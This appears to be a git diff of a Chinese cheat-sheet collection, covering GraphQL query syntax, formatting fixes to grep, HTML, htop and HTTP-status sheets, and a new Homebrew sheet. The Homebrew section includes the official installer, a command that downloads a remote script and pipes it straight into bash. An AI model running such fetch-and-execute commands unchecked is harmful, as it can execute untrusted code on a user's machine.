`[String]!` | 可空字符串的非空列表
|
||||
`[String!]!` | 非空字符串的非空列表
|
||||
|
||||
### 输入参数
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
#### 基本输入
|
||||
|
||||
```graphql
|
||||
type Query {
|
||||
users(limit: Int): [User]
|
||||
}
|
||||
```
|
||||
|
||||
#### 输入默认值
|
||||
|
||||
```graphql
|
||||
type Query {
|
||||
users(limit: Int = 10): [User]
|
||||
}
|
||||
```
|
||||
|
||||
#### 具有多个参数的输入
|
||||
|
||||
```graphql
|
||||
type Query {
|
||||
users(limit: Int, sort: String): [User]
|
||||
}
|
||||
```
|
||||
|
||||
#### 具有多个参数和默认值的输入
|
||||
|
||||
```graphql
|
||||
type Query {
|
||||
users(limit: Int = 10, sort: String): [User]
|
||||
}
|
||||
type Query {
|
||||
users(limit: Int, sort: String = "asc"): [User]
|
||||
}
|
||||
type Query {
|
||||
users(limit: Int = 10, sort: String = "asc"): [User]
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 输入类型
|
||||
|
||||
```graphql
|
||||
input ListUsersInput {
|
||||
limit: Int
|
||||
since_id: ID
|
||||
}
|
||||
```
|
||||
|
||||
```graphql
|
||||
type Mutation {
|
||||
users(params: ListUsersInput): [User]!
|
||||
}
|
||||
```
|
||||
|
||||
### 自定义标量
|
||||
|
||||
```graphql
|
||||
scalar Url
|
||||
type User {
|
||||
name: String
|
||||
homepage: Url
|
||||
}
|
||||
```
|
||||
|
||||
### 接口
|
||||
|
||||
```graphql
|
||||
interface Foo {
|
||||
is_foo: Boolean
|
||||
}
|
||||
interface Goo {
|
||||
is_goo: Boolean
|
||||
}
|
||||
type Bar implements Foo {
|
||||
is_foo: Boolean
|
||||
is_bar: Boolean
|
||||
}
|
||||
type Baz implements Foo, Goo {
|
||||
is_foo: Boolean
|
||||
is_goo: Boolean
|
||||
is_baz: Boolean
|
||||
}
|
||||
```
|
||||
|
||||
实现一个或多个接口的对象
|
||||
|
||||
### 联合
|
||||
|
||||
```graphql
|
||||
type Foo {
|
||||
name: String
|
||||
}
|
||||
type Bar {
|
||||
is_bar: String
|
||||
}
|
||||
union SingleUnion = Foo
|
||||
union MultipleUnion = Foo | Bar
|
||||
type Root {
|
||||
single: SingleUnion
|
||||
multiple: MultipleUnion
|
||||
}
|
||||
```
|
||||
|
||||
一个或多个对象的联合
|
||||
|
||||
### 枚举
|
||||
|
||||
```graphql
|
||||
enum USER_STATE {
|
||||
NOT_FOUND
|
||||
ACTIVE
|
||||
INACTIVE
|
||||
SUSPENDED
|
||||
}
|
||||
type Root {
|
||||
stateForUser(userID: ID!): USER_STATE!
|
||||
users(state: USER_STATE, limit: Int = 10): [User]
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
查询和变更(Mutations)
|
||||
---
|
||||
|
||||
### 字段
|
||||
|
||||
```graphql
|
||||
{
|
||||
hero {
|
||||
name
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"hero": {
|
||||
"name": "R2-D2"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 查询可以有注释
|
||||
|
||||
```graphql
|
||||
{
|
||||
hero {
|
||||
name
|
||||
# 查询可以有注释!
|
||||
friends {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"hero": {
|
||||
"name": "R2-D2",
|
||||
"friends": [
|
||||
{ "name": "Luke Skywalker" },
|
||||
{ "name": "Han Solo" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 参数 Arguments
|
||||
|
||||
```graphql
|
||||
{
|
||||
human(id: "1000") {
|
||||
name
|
||||
height
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"human": {
|
||||
"name": "Luke Skywalker",
|
||||
"height": 1.72
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 不同类型的参数
|
||||
|
||||
```graphql
|
||||
{
|
||||
human(id: "1000") {
|
||||
name
|
||||
height(unit: FOOT)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"human": {
|
||||
"name": "Luke Skywalker",
|
||||
"height": 5.6430448
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 别名(Aliases)
|
||||
|
||||
```graphql
|
||||
{
|
||||
empireHero: hero(episode: EMPIRE) {
|
||||
name
|
||||
}
|
||||
jediHero: hero(episode: JEDI) {
|
||||
name
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"empireHero": {
|
||||
"name": "Luke Skywalker"
|
||||
},
|
||||
"jediHero": {
|
||||
"name": "R2-D2"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 片段(Fragments)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```graphql
|
||||
{
|
||||
leftComparison: hero(episode: EMPIRE) {
|
||||
...comparisonFields
|
||||
}
|
||||
rightComparison: hero(episode: JEDI) {
|
||||
...comparisonFields
|
||||
}
|
||||
}
|
||||
|
||||
fragment comparisonFields on Character {
|
||||
name
|
||||
appearsIn
|
||||
friends {
|
||||
name
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"leftComparison": {
|
||||
"name": "Luke Skywalker",
|
||||
"appearsIn": [
|
||||
"NEWHOPE",
|
||||
"EMPIRE",
|
||||
"JEDI"
|
||||
],
|
||||
"friends": [
|
||||
{ "name": "Han Solo" },
|
||||
{ "name": "Leia Organa" },
|
||||
{ "name": "C-3PO" },
|
||||
{ "name": "R2-D2" }
|
||||
]
|
||||
},
|
||||
"rightComparison": {
|
||||
"name": "R2-D2",
|
||||
"appearsIn": [
|
||||
"NEWHOPE",
|
||||
"EMPIRE",
|
||||
"JEDI"
|
||||
],
|
||||
"friends": [
|
||||
{ "name": "Luke Skywalker" },
|
||||
{ "name": "Han Solo" },
|
||||
{ "name": "Leia Organa" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 在片段内使用变量
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```graphql
|
||||
query HeroComparison($first: Int = 3) {
|
||||
leftComparison: hero(episode: EMPIRE) {
|
||||
...comparisonFields
|
||||
}
|
||||
rightComparison: hero(episode: JEDI) {
|
||||
...comparisonFields
|
||||
}
|
||||
}
|
||||
|
||||
fragment comparisonFields on Character {
|
||||
name
|
||||
friendsConnection(first: $first) {
|
||||
totalCount
|
||||
edges {
|
||||
node {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"leftComparison": {
|
||||
"name": "Luke Skywalker",
|
||||
"friendsConnection": {
|
||||
"totalCount": 4,
|
||||
"edges": [
|
||||
{
|
||||
"node": {
|
||||
"name": "Han Solo"
|
||||
}
|
||||
},
|
||||
{
|
||||
"node": {
|
||||
"name": "Leia Organa"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"rightComparison": {
|
||||
"name": "R2-D2",
|
||||
"friendsConnection": {
|
||||
"totalCount": 3,
|
||||
"edges": [
|
||||
{
|
||||
"node": {
|
||||
"name": "Luke Skywalker"
|
||||
}
|
||||
},
|
||||
{
|
||||
"node": {
|
||||
"name": "Han Solo"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 操作名称(Operation name)
|
||||
|
||||
```graphql
|
||||
query HeroNameAndFriends {
|
||||
hero {
|
||||
name
|
||||
friends {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"hero": {
|
||||
"name": "R2-D2",
|
||||
"friends": [
|
||||
{ "name": "Luke Skywalker" },
|
||||
{ "name": "Han Solo" },
|
||||
{ "name": "Leia Organa" }
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 变量(Variables)
|
||||
|
||||
```graphql
|
||||
# { "graphiql": true, "variables": { "episode": JEDI } }
|
||||
query HeroNameAndFriends($episode: Episode) {
|
||||
hero(episode: $episode) {
|
||||
name
|
||||
friends {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
变量前缀必须为 `$`,后跟其类型
|
||||
|
||||
### 默认变量(Default variables)
|
||||
|
||||
```graphql
|
||||
query HeroNameAndFriends($episode: Episode = "JEDI") {
|
||||
hero(episode: $episode) {
|
||||
name
|
||||
friends {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 指令(Directives)
|
||||
|
||||
```graphql
|
||||
query Hero($episode: Episode, $withFriends: Boolean!) {
|
||||
hero(episode: $episode) {
|
||||
name
|
||||
friends @include(if: $withFriends) {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
----
|
||||
|
||||
```graphql
|
||||
{ "episode": "JEDI", "withFriends": false }
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": { "hero": { "name": "R2-D2" } }
|
||||
}
|
||||
```
|
||||
|
||||
- `@include(if: Boolean)` 仅在参数为 `true` 时,包含此字段
|
||||
- `@skip(if: Boolean)` 如果参数为 `true`,跳过此字段
|
||||
|
||||
### 变更(Mutations)
|
||||
|
||||
```graphql
|
||||
mutation CreateReviewForEpisode($ep: Episode!, $review: ReviewInput!) {
|
||||
createReview(episode: $ep, review: $review) {
|
||||
stars
|
||||
commentary
|
||||
}
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
----
|
||||
|
||||
```
|
||||
{
|
||||
"ep": "JEDI",
|
||||
"review": {
|
||||
"stars": 5,
|
||||
"commentary": "This is a great movie!"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"createReview": {
|
||||
"stars": 5,
|
||||
"commentary": "This is a great movie!"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 内联片段(Inline Fragments)
|
||||
|
||||
```graphql
|
||||
query HeroForEpisode($ep: Episode!) {
|
||||
hero(episode: $ep) {
|
||||
name
|
||||
... on Droid {
|
||||
primaryFunction
|
||||
}
|
||||
... on Human {
|
||||
height
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```graphql
|
||||
{ "ep": "JEDI" }
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"hero": {
|
||||
"name": "R2-D2",
|
||||
"primaryFunction": "Astromech"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 元字段(Meta fields)
|
||||
|
||||
```graphql
|
||||
{
|
||||
search(text: "an") {
|
||||
__typename
|
||||
... on Human {
|
||||
name
|
||||
}
|
||||
... on Droid {
|
||||
name
|
||||
}
|
||||
... on Starship {
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
结果:
|
||||
|
||||
```json
|
||||
{
|
||||
"data": {
|
||||
"search": [
|
||||
{
|
||||
"__typename": "Human",
|
||||
"name": "Han Solo"
|
||||
},
|
||||
{
|
||||
"__typename": "Human",
|
||||
"name": "Leia Organa"
|
||||
},
|
||||
{
|
||||
"__typename": "Starship",
|
||||
"name": "TIE Advanced x1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
另见
|
||||
-------
|
||||
|
||||
- [GraphQL Schema Language Cheat Sheet](https://github.com/sogko/graphql-schema-language-cheat-sheet) _(github.com)_
|
10
docs/grep.md
10
docs/grep.md
@ -3,7 +3,6 @@ Grep 备忘清单
|
||||
|
||||
本备忘单旨在快速提醒使用命令行程序 grep 所涉及的主要概念,并假设您已经了解其用法。
|
||||
|
||||
|
||||
入门
|
||||
------
|
||||
<!--rehype:body-class=cols-5-->
|
||||
@ -31,7 +30,6 @@ $ grep 'mellon' myfile.txt
|
||||
|
||||
文件名中接受通配符。
|
||||
|
||||
|
||||
### 选项示例
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
@ -51,7 +49,6 @@ $ grep 'mellon' myfile.txt
|
||||
| `-o` | grep -o search_string filename | 只显示字符串的匹配部分
|
||||
| `-n` | grep -n "go" demo.txt | 显示匹配的行号
|
||||
|
||||
|
||||
Grep 正则表达式
|
||||
-------
|
||||
|
||||
@ -97,13 +94,12 @@ Grep 正则表达式
|
||||
`[0-9]` | 任何数字
|
||||
`[0-9A-Za-z]` | 任何大小写字母或数字
|
||||
|
||||
|
||||
### 位置
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`^ ` | 行的开头
|
||||
`$ ` | 行结束
|
||||
`^` | 行的开头
|
||||
`$` | 行结束
|
||||
`^$` | 空行
|
||||
`\<` | 词的开头
|
||||
`\>` | 词尾
|
||||
@ -176,4 +172,4 @@ grep -c "text" file_name
|
||||
另见
|
||||
----
|
||||
|
||||
- [grep 中文文档](https://wangchujiang.com/linux-command/c/grep.html) _(jaywcjlove.github.io)_
|
||||
- [grep 中文文档](https://wangchujiang.com/linux-command/c/grep.html) _(jaywcjlove.github.io)_
|
||||
|
132
docs/homebrew.md
Normal file
132
docs/homebrew.md
Normal file
@ -0,0 +1,132 @@
|
||||
Homebrew 备忘清单
|
||||
===
|
||||
|
||||
Homebrew 是 macOS(或Linux)缺少的包管理器,备忘清单包含 [brew](https://github.com/Homebrew/brew) 命令的使用与安装
|
||||
|
||||
Homebrew
|
||||
---
|
||||
|
||||
### 安装
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
```bash
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
加速安装和更新,将仓库源码通过 [gitee](https://gitee.com/) 同步到国内,这样速度杠杠的
|
||||
|
||||
```bash
|
||||
# 把 Homebrew/brew 的 Git 镜像放在这里
|
||||
export HOMEBREW_BREW_GIT_REMOTE="..."
|
||||
# 将 Homebrew/homebrew-core 的 Git 镜像放在这里
|
||||
export HOMEBREW_CORE_GIT_REMOTE="..."
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
在安装期间跳过克隆 (beta)
|
||||
|
||||
```bash
|
||||
export HOMEBREW_INSTALL_FROM_API=1
|
||||
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 命令
|
||||
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew install git` | `安装`一个包
|
||||
`brew reinstall git` | 重新`安装`一个包
|
||||
`brew uninstall git` | `删除`/`卸载`软件包
|
||||
`brew upgrade git` | 升级包
|
||||
:--- :---
|
||||
`brew unlink git` | `取消`链接
|
||||
`brew link git` | 关联
|
||||
`brew switch git 2.5.0` | 更改版本
|
||||
:--- :---
|
||||
`brew list --versions git` | 看看你有什么版本
|
||||
|
||||
### 更多包命令
|
||||
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew info git` | 列出版本、注意事项等
|
||||
`brew cleanup git` | 删除旧版本
|
||||
`brew edit git` | 编辑此软件包
|
||||
`brew cat git` | 打印这个软件包
|
||||
`brew home git` | 打开主页
|
||||
`brew search git` | 搜索公式
|
||||
|
||||
### Brew Cask 命令
|
||||
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew install --cask firefox` | 安装火狐浏览器
|
||||
`brew list --cask` | 列出已安装应用
|
||||
|
||||
Cask 命令用于与图形应用程序交互
|
||||
|
||||
### 全局命令
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew update` | 更新 `brew` 和 `cask`
|
||||
`brew upgrade` | 升级所有软件包
|
||||
`brew list` | 已安装列表
|
||||
`brew outdated` | 升级需要什么?
|
||||
`brew doctor` | 诊断冲泡问题
|
||||
`brew pin <formula>` | 防止指定软件包升级
|
||||
`brew unpin <formula>` | 允许升级指定的软件包
|
||||
|
||||
### Brew 清理
|
||||
|
||||
```bash
|
||||
$ brew cleanup # 删除旧版本的已安装软件包
|
||||
$ brew cleanup <formula> # 删除旧版本指定软件包
|
||||
# 显示所有将被删除的软件包(试运行)
|
||||
$ brew cleanup -n
|
||||
```
|
||||
|
||||
### brew 源码仓库
|
||||
|
||||
```bash
|
||||
# 列出所有当前点击的源码仓库(点击)
|
||||
$ brew tap
|
||||
# 使用 https 从 Github 中点击软件包源码仓库以点击
|
||||
# https://github.com/user/homebrew-repo
|
||||
$ brew tap <user/repo>
|
||||
# 点击指定 URL 中的软件源码仓库
|
||||
$ brew tap <user/repo> <URL>
|
||||
# 从存储库中删除给定的源码仓库
|
||||
$ brew untap <user/repo>
|
||||
```
|
||||
|
||||
### 搜索查看
|
||||
|
||||
```bash
|
||||
# 列出所有已安装的软件包
|
||||
$ brew list
|
||||
# 显示所有本地可用的 brew 配方
|
||||
$ brew search
|
||||
# 对用于 brew 的软件包名称执行子字符串搜索
|
||||
$ brew search <text>
|
||||
# 显示有关软件包的信息
|
||||
$ brew info <formula>
|
||||
```
|
||||
|
||||
### 帮助命令
|
||||
|
||||
命令 | 说明
|
||||
:--- :---
|
||||
`brew help` | 打印帮助信息
|
||||
`brew help <sub-command>` | 打印子命令的帮助信息
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Homebrew 官网](https://brew.sh/index_zh-cn) _(brew.sh)_
|
||||
- [Homebrew brew 源码](https://github.com/Homebrew/brew) _(github.com)_
|
||||
- [Homebrew core 源码](https://github.com/Homebrew/homebrew-core) _(github.com)_
|
@ -3,7 +3,6 @@ HTML 字符实体备忘清单
|
||||
|
||||
此备忘清单是 HTML 实体及其编号和名称的完整列表。还包括可以用 HTML 表示的 ASCII 字符的完整列表。
|
||||
|
||||
|
||||
HTML 字符实体引用
|
||||
------
|
||||
<!--rehype:body-class=cols-1-->
|
||||
@ -360,4 +359,4 @@ HTML 字符实体引用
|
||||
另见
|
||||
---
|
||||
|
||||
- [HTML 字符集实体](https://jaywcjlove.github.io/html-tutorial/reference/charactersets_entities.html)
|
||||
- [HTML 字符集实体](https://jaywcjlove.github.io/html-tutorial/reference/charactersets_entities.html)
|
||||
|
40
docs/html.md
40
docs/html.md
@ -43,11 +43,12 @@ HTML 备忘清单
|
||||
<p>我来自快速参考</p>
|
||||
<p>分享快速参考备忘单。</p>
|
||||
```
|
||||
|
||||
请参阅:[段落元素](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/p)
|
||||
|
||||
### HTML 链接
|
||||
|
||||
```html
|
||||
```html
|
||||
<a href="https://github.com/jaywcjlove/reference">
|
||||
Github
|
||||
</a>
|
||||
@ -68,8 +69,6 @@ HTML 备忘清单
|
||||
|
||||
请参阅:[\<a> 属性](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/a#attributes)
|
||||
|
||||
|
||||
|
||||
### Image 标签
|
||||
|
||||
```html
|
||||
@ -163,10 +162,8 @@ HTML 备忘清单
|
||||
src="https://www.openstreetmap.org/export/embed.html?bbox=-0.004017949104309083%2C51.47612752641776%2C0.00030577182769775396%2C51.478569861898606&layer=mapnik">
|
||||
</iframe>
|
||||
|
||||
|
||||
请参阅:[内联框架元素](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe)
|
||||
|
||||
|
||||
### HTML 中的 JavaScript
|
||||
|
||||
```html
|
||||
@ -176,7 +173,6 @@ HTML 备忘清单
|
||||
</script>
|
||||
```
|
||||
|
||||
|
||||
#### 外部 JavaScript
|
||||
|
||||
```html
|
||||
@ -186,7 +182,6 @@ HTML 备忘清单
|
||||
</body>
|
||||
```
|
||||
|
||||
|
||||
### HTML 中的 CSS
|
||||
|
||||
```html
|
||||
@ -206,8 +201,6 @@ HTML 备忘清单
|
||||
</head>
|
||||
```
|
||||
|
||||
|
||||
|
||||
HTML5 标签
|
||||
-------------
|
||||
|
||||
@ -227,7 +220,6 @@ HTML5 标签
|
||||
</body>
|
||||
```
|
||||
|
||||
|
||||
### 标题导航
|
||||
|
||||
```html
|
||||
@ -242,7 +234,6 @@ HTML5 标签
|
||||
</header>
|
||||
```
|
||||
|
||||
|
||||
### HTML5 Tags
|
||||
<!--rehype:wrap-class=row-span-4-->
|
||||
|
||||
@ -281,7 +272,6 @@ HTML5 标签
|
||||
[video](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/video) | 嵌入视频
|
||||
[wbr](https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/wbr) | 换行机会
|
||||
|
||||
|
||||
### HTML5 Video
|
||||
|
||||
```html
|
||||
@ -339,7 +329,6 @@ HTML5 标签
|
||||
音 <rp>(</rp><rt>yīn</rt><rp>)</rp>
|
||||
</ruby>
|
||||
|
||||
|
||||
### HTML5 kdi
|
||||
|
||||
```html
|
||||
@ -358,7 +347,6 @@ HTML5 标签
|
||||
<li>User <bdi>إيان</bdi>: 90 points</li>
|
||||
</ul>
|
||||
|
||||
|
||||
### HTML5 progress
|
||||
|
||||
```html
|
||||
@ -375,7 +363,6 @@ HTML5 标签
|
||||
|
||||
<p>我爱<mark>备忘清单</mark></p>
|
||||
|
||||
|
||||
HTML 表格
|
||||
--------------
|
||||
|
||||
@ -505,19 +492,18 @@ HTML 表单
|
||||
#### ↓ 预览
|
||||
|
||||
<form method="POST" action="api/login" style="padding: 20px;">
|
||||
<label for="email">邮箱: </label>
|
||||
<label for="email">邮箱: </label>
|
||||
<input type="email" id="email" name="email" class="border border-slate-400 mt-2">
|
||||
<br/>
|
||||
<label for="pwd">密码:</label>
|
||||
<label for="pwd">密码:</label>
|
||||
<input type="password" id="pwd" name="pwd" class="border border-slate-400 mt-2">
|
||||
<br/>
|
||||
<input type="submit" value="登录" class="mt-2">
|
||||
<br/>
|
||||
<input type="checkbox" id="ck" name="ck" class="mt-2">
|
||||
<label for="ck">记住我</label>
|
||||
<label for="ck">记住我</label>
|
||||
</form>
|
||||
|
||||
|
||||
HTML `<form>` 元素用于收集信息并将其发送到外部源。
|
||||
|
||||
### Form 属性
|
||||
@ -602,13 +588,16 @@ Textarea 是一个多行文本输入控件
|
||||
单选按钮用于让用户只选择一个
|
||||
|
||||
### Checkboxes
|
||||
|
||||
```html
|
||||
<input type="checkbox" name="s" id="soc">
|
||||
<label for="soc">Soccer</label>
|
||||
<input type="checkbox" name="s" id="bas">
|
||||
<label for="bas">Baseball</label>
|
||||
```
|
||||
|
||||
#### ↓ 预览
|
||||
|
||||
<form style="padding: 20px;">
|
||||
<input type="checkbox" name="sports" id="soccer">
|
||||
<label for="soccer">Soccer</label>
|
||||
@ -718,7 +707,6 @@ Textarea 是一个多行文本输入控件
|
||||
|
||||
`将数据提交到服务器` 重置为默认值
|
||||
|
||||
|
||||
HTML input 标签
|
||||
-----------
|
||||
<!--rehype:body-class=cols-2-->
|
||||
@ -729,10 +717,10 @@ HTML input 标签
|
||||
输入标记是一个空元素,用于标识要从用户处获取的特定类型的字段信息。
|
||||
|
||||
```html
|
||||
<input type="text" name="?" value="?" minlength="6" required />
|
||||
<input type="text" name="?" value="?" minlength="6" required />
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
:-|:-
|
||||
:-|:-
|
||||
@ -794,7 +782,6 @@ HTML input 标签
|
||||
| `type="search"` | <input type="search"> |
|
||||
| `type="range"` | <input type="range"> |
|
||||
|
||||
|
||||
### Input CSS 选择器
|
||||
|
||||
| | |
|
||||
@ -820,6 +807,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
|
||||
<meta property="og:title" content="···">
|
||||
<meta name="twitter:title" content="···">
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html
|
||||
@ -828,6 +816,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
|
||||
<meta property="og:url" content="https://···">
|
||||
<meta name="twitter:url" content="https://···">
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html
|
||||
@ -836,6 +825,7 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
|
||||
<meta property="og:description" content="···">
|
||||
<meta name="twitter:description" content="···">
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html
|
||||
@ -843,12 +833,14 @@ meta 标记描述 HTML 文档中的元数据。它解释了关于 HTML 的其他
|
||||
<meta property="og:image" content="https://···">
|
||||
<meta name="twitter:image" content="https://···">
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html
|
||||
<!-- ua -->
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```html
|
||||
@ -900,4 +892,4 @@ Facebook、Instagram、Pinterest、LinkedIn 等使用。
|
||||
|
||||
- [HTML 4.01 Specification](https://www.w3.org/TR/REC-html40/cover.html#minitoc) _(w3.org)_
|
||||
- [HTML Tutorial](https://wangchujiang.com/html-tutorial/) _(jaywcjlove.github.io)_
|
||||
- [Emmet 备忘清单,提升 HTML 和 CSS 代码编写的工具包](./emmet.md) _(jaywcjlove.github.io)_
|
||||
- [Emmet 备忘清单,提升 HTML 和 CSS 代码编写的工具包](./emmet.md) _(jaywcjlove.github.io)_
|
||||
|
@ -53,7 +53,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
|
||||
`T` | 追踪/停止
|
||||
`Z` | 僵尸
|
||||
`D` | 磁盘睡眠
|
||||
<!--rehype:className=shortcuts-->
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 交互式命令
|
||||
<!--rehype:wrap-class=col-span-2 row-span-3-->
|
||||
@ -81,7 +81,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
|
||||
`p` | 在适用的情况下显示运行程序的完整路径(这是一个切换键)
|
||||
`Ctrl-L` | 刷新:重绘屏幕并重新计算数值
|
||||
`Numbers` | PID搜索:输入进程ID,选择突出显示将移至它
|
||||
<!--rehype:className=shortcuts-->
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 排序/线程
|
||||
|
||||
@ -93,7 +93,7 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
|
||||
`I` | `反转`排序顺序
|
||||
`K` | 隐藏`内核`线程
|
||||
`H` | 隐藏`用户`线程
|
||||
<!--rehype:className=shortcuts-->
|
||||
<!--rehype:className=shortcuts-->
|
||||
|
||||
### 滚动
|
||||
|
||||
@ -108,4 +108,4 @@ htop 的软件包在大多数发行版中都[可用下载](https://htop.dev/down
|
||||
`End` | 滚动到流程列表的`底部` <br /> _选择最后一个流程_
|
||||
`Ctrl-A`, `^` | 向`左`滚动到流程条目`开头` _(即行开头)_
|
||||
`Ctrl-E`, `$` | 向`右`滚动到流程条目`末尾` _(即行尾)_
|
||||
<!--rehype:className=shortcuts-->
|
||||
<!--rehype:className=shortcuts-->
|
@ -6,74 +6,74 @@ HTTP 状态码备忘清单。 每个 HTTP 状态代码的快速参考。
|
||||
HTTP 状态码
|
||||
---
|
||||
|
||||
### Means
|
||||
### Means
|
||||
|
||||
- [1xx: Informational](#1xx-information) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
|
||||
- [2xx: Success](#2xx-successful) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
|
||||
- [3xx: Redirection](#3xx-redirection) _这意味着必须采取进一步行动才能完成请求_<!--rehype:tooltips-->
|
||||
- [4xx: Client Error](#4xx-client-error) _这意味着请求包含不正确的语法或无法完成_<!--rehype:tooltips-->
|
||||
- [5xx: Server Error](#5xx-server-error) _这意味着服务器未能满足明显有效的请求_<!--rehype:tooltips-->
|
||||
- [1xx: Informational](#1xx-信息) _这意味着已收到请求并且该过程正在继续_<!--rehype:tooltips-->
|
||||
- [2xx: Success](#2xx-成功的) _这意味着该操作已成功接收、理解和接受_<!--rehype:tooltips-->
|
||||
- [3xx: Redirection](#3xx-重定向) _这意味着必须采取进一步行动才能完成请求_<!--rehype:tooltips-->
|
||||
- [4xx: Client Error](#4xx-客户端错误) _这意味着请求包含不正确的语法或无法完成_<!--rehype:tooltips-->
|
||||
- [5xx: Server Error](#5xx-服务器错误) _这意味着服务器未能满足明显有效的请求_<!--rehype:tooltips-->
|
||||
|
||||
### 2xx. 成功的
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
* [200: OK](https://tools.ietf.org/html/rfc7231#section-6.3.1) _请求没问题_<!--rehype:tooltips-->
|
||||
* [201: Created](https://tools.ietf.org/html/rfc7231#section-6.3.2) _请求完成,并创建了一个新资源_<!--rehype:tooltips-->
|
||||
